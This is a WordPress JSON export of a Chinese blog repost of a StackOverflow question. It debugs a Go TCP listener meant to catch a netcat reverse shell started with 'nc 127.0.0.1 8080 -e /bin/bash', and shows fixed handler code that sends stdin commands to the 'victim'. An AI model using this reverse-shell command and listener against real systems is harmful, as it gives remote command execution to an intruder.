{"id":207094,"date":"2025-07-08T08:03:34","date_gmt":"2025-07-08T00:03:34","guid":{"rendered":"https:\/\/server.hk\/cnblog\/207094\/"},"modified":"2025-07-08T08:03:34","modified_gmt":"2025-07-08T00:03:34","slug":"%e5%a6%82%e4%bd%95%e6%8d%95%e8%8e%b7-netcat-%e5%8f%8d%e5%90%91-shell%ef%bc%9f","status":"publish","type":"post","link":"https:\/\/server.hk\/cnblog\/207094\/","title":{"rendered":"\u5982\u4f55\u6355\u83b7 netcat \u53cd\u5411 shell\uff1f"},"content":{"rendered":"<p><b><\/b> <\/p>\n<p>\u5f53\u524d\u4f4d\u7f6e\uff1a <span>&gt;<\/span> <span>&gt;<\/span> <span>&gt;<\/span> <span>&gt;<\/span> <span>\u5982\u4f55\u6355\u83b7 netcat \u53cd\u5411 shell\uff1f<\/span><\/p>\n<p><span>\u6765\u6e90\uff1astackoverflow<\/span><br \/>\n<span>2024-04-19 23:27:38<\/span><br \/>\n<span><i><\/i>0\u6d4f\u89c8<\/span><br \/>\n<span style=\"cursor: pointer\"><i><\/i>\u6536\u85cf<\/span> <\/p>\n<p>\u54c8\u55bd\uff01\u4eca\u5929\u5fc3\u8840\u6765\u6f6e\u7ed9\u5927\u5bb6\u5e26\u6765\u4e86<span style=\"color: #FF6600;, Helvetica, Arial, sans-serif;font-size: 14px;background-color: #FFFFFF\">\u300a\u5982\u4f55\u6355\u83b7 netcat \u53cd\u5411 shell\uff1f\u300b<\/span>\uff0c\u60f3\u5fc5\u5927\u5bb6\u5e94\u8be5\u5bf9<span style=\"color: #FF6600;, Helvetica, Arial, sans-serif;font-size: 14px;background-color: #FFFFFF\">Golang<\/span>\u90fd\u4e0d\u964c\u751f\u5427\uff0c\u90a3\u4e48\u9605\u8bfb\u672c\u6587\u5c31\u90fd\u4e0d\u4f1a\u5f88\u56f0\u96be\uff0c\u4ee5\u4e0b\u5185\u5bb9\u4e3b\u8981\u6d89\u53ca\u5230<span style=\"color: #FF6600;, Helvetica, Arial, sans-serif;font-size: 14px;background-color: #FFFFFF\"><\/span>\uff0c\u82e5\u662f\u4f60\u6b63\u5728\u5b66\u4e60<span style=\"color: #FF6600;, Helvetica, Arial, sans-serif;font-size: 14px;background-color: #FFFFFF\">Golang<\/span>\uff0c\u5343\u4e07\u522b\u9519\u8fc7\u8fd9\u7bc7\u6587\u7ae0~\u5e0c\u671b\u80fd\u5e2e\u52a9\u5230\u4f60\uff01<\/p>\n<p> \u95ee\u9898\u5185\u5bb9<br \/>\n <\/p>\n<p>\u6211\u6b63\u5728 go \u4e2d\u5f00\u53d1 tcp \u670d\u52a1\u5668\u3002 tcp \u670d\u52a1\u5668\u9700\u8981\u80fd\u591f\u6355\u83b7\u6765\u81ea netcat \u7684\u53cd\u5411 shell\uff1a<\/p>\n<pre>$ nc 127.0.0.1 8080 -e \/bin\/bash<\/pre>\n<p>\u6211\u5e94\u8be5\u80fd\u591f\u53d1\u9001\u547d\u4ee4\u5e76\u63a5\u6536\u54cd\u5e94\uff1b\u4f46\u662f\uff0c\u6211\u7684\u670d\u52a1\u5668\u5728\u6536\u5230\u8fde\u63a5\u65f6\u4f3c\u4e4e\u6302\u8d77\u3002<\/p>\n<p>\u6211\u8ba4\u4e3a\u95ee\u9898\u51fa\u5728 bufio.newreader(conn).readstring(&#8216;\\n&#8217;) \u884c\uff0c\u4f46\u6211\u4e0d\u77e5\u9053\u5982\u4f55\u4fee\u590d\u5b83\u3002<\/p>\n<p>\u60a8\u80fd\u63d0\u4f9b\u4efb\u4f55\u89e3\u51b3\u65b9\u6848\u5417\uff0c\u8c22\u8c22\uff1f<\/p>\n<p>\u670d\u52a1\u5668\u4ee3\u7801\uff08\u6ce8\u610f\uff1a\u4e3a\u7b80\u6d01\u8d77\u89c1\uff0c\u7701\u7565\u4e86\u9519\u8bef\u5904\u7406\uff09\uff1a<\/p>\n<pre>func main() {\n    ln, _ := net.Listen(\"tcp\", \"127.0.0.1:8080\")\n    for {\n        conn, _ := ln.Accept()\n        handleConn(conn)\n    }\n}\n\nfunc handleConn(conn net.Conn) {\n    for {\n        \/\/ Receive data from netcat victim\n        data, _ := bufio.NewReader(conn).ReadString('\\n')\n        fmt.Println(data)\n\n        \/\/ Read command from Stdin then send to netcat victim\n        reader := bufio.NewReader(os.Stdin)\n        cmd, _ := reader.ReadString('\\n')\n        fmt.Fprintln(conn, cmd)\n    }\n}<\/pre>\n<p> <\/p>\n<h2>\u89e3\u51b3\u65b9\u6848<\/h2>\n<p> <\/p>\n<p>\u6211\u5728\u53d1\u5e03\u95ee\u9898\u540e\u7acb\u5373\u89e3\u51b3\u4e86\u6211\u7684\u95ee\u9898\uff08\u5929\u554a\uff01\uff09\u3002 \u65e0\u8bba\u5982\u4f55\uff0c\u89e3\u51b3\u65b9\u6848\u5f88\u7b80\u5355\uff1a\u53cd\u8f6c\u8bfb\u5199\u903b\u8f91\u3002 \u4e4b\u540e\uff0c\u4e00\u5207\u90fd\u6309\u9884\u671f\u8fdb\u884c\u3002<\/p>\n<p>\u8fd9\u662f\u56fa\u5b9a\u4ee3\u7801\uff1a<\/p>\n<pre>func handleConn(conn net.Conn) {\n    fmt.Println(\"Connection received.\")\n    for {\n        \/\/ Read command from Stdin and send to victim\n        reader := bufio.NewReader(os.Stdin)\n        cmd, _ := reader.ReadString('\\n')\n        fmt.Fprintln(conn, cmd)\n\n        \/\/ Receive input from connection\n        data, _ := bufio.NewReader(conn).ReadString('\\n')\n        fmt.Println(data)\n    }\n}<\/pre>\n<p>\u4ee5\u4e0a\u5c31\u662f\u672c\u6587\u7684\u5168\u90e8\u5185\u5bb9\u4e86\uff0c\u662f\u5426\u6709\u987a\u5229\u5e2e\u52a9\u4f60\u89e3\u51b3\u95ee\u9898\uff1f\u82e5\u662f\u80fd\u7ed9\u4f60\u5e26\u6765\u5b66\u4e60\u4e0a\u7684\u5e2e\u52a9\uff0c\u8bf7\u5927\u5bb6\u591a\u591a\u652f\u6301\uff01\u66f4\u591a\u5173\u4e8eGolang\u7684\u76f8\u5173\u77e5\u8bc6\uff0c\u4e5f\u53ef\u5173\u6ce8\u516c\u4f17\u53f7\u3002<\/p>\n","protected":false},"excerpt":{"rendered":"<p>\u5f53\u524d\u4f4d\u7f6e\uff1a &gt; &gt; &#46;&#46;&#46;<\/p>\n","protected":false},"author":1,"featured_media":0,"comment_status":"closed","ping_status":"","sticky":false,"template":"","format":"standard","meta":{"footnotes":""},"categories":[4925],"tags":[],"class_list":["post-207094","post","type-post","status-publish","format-standard","hentry","category-4925"],"_links":{"self":[{"href":"https:\/\/server.hk\/cnblog\/wp-json\/wp\/v2\/posts\/207094","targetHints":{"allow":["GET"]}}],"collection":[{"href":"https:\/\/server.hk\/cnblog\/wp-json\/wp\/v2\/posts"}],"about":[{"href":"https:\/\/server.hk\/cnblog\/wp-json\/wp\/v2\/types\/post"}],"author":[{"embeddable":true,"href":"https:\/\/server.hk\/cnblog\/wp-json\/wp\/v2\/users\/1"}],"replies":[{"embeddable":true,"href":"https:\/\/server.hk\/cnblog\/wp-json\/wp\/v2\/comments?post=207094"}],"version-history":[{"count":0,"href":"https:\/\/server.hk\/cnblog\/wp-json\/wp\/v2\/posts\/207094\/revisions"}],"wp:attachment":[{"href":"https:\/\/server.hk\/cnblog\/wp-json\/wp\/v2\/media?parent=207094"}],"wp:term":[{"taxonomy":"category","embeddable":true,"href":"https:\/\/server.hk\/cnblog\/wp-json\/wp\/v2\/categories?post=207094"},{"taxonomy":"post_tag","embeddable":true,"href":"https:\/\/server.hk\/cnblog\/wp-json\/wp\/v2\/tags?post=207094"}],"curies":[{"name":"wp","href":"https:\/\/api.w.org\/{rel}","templated":true}]}}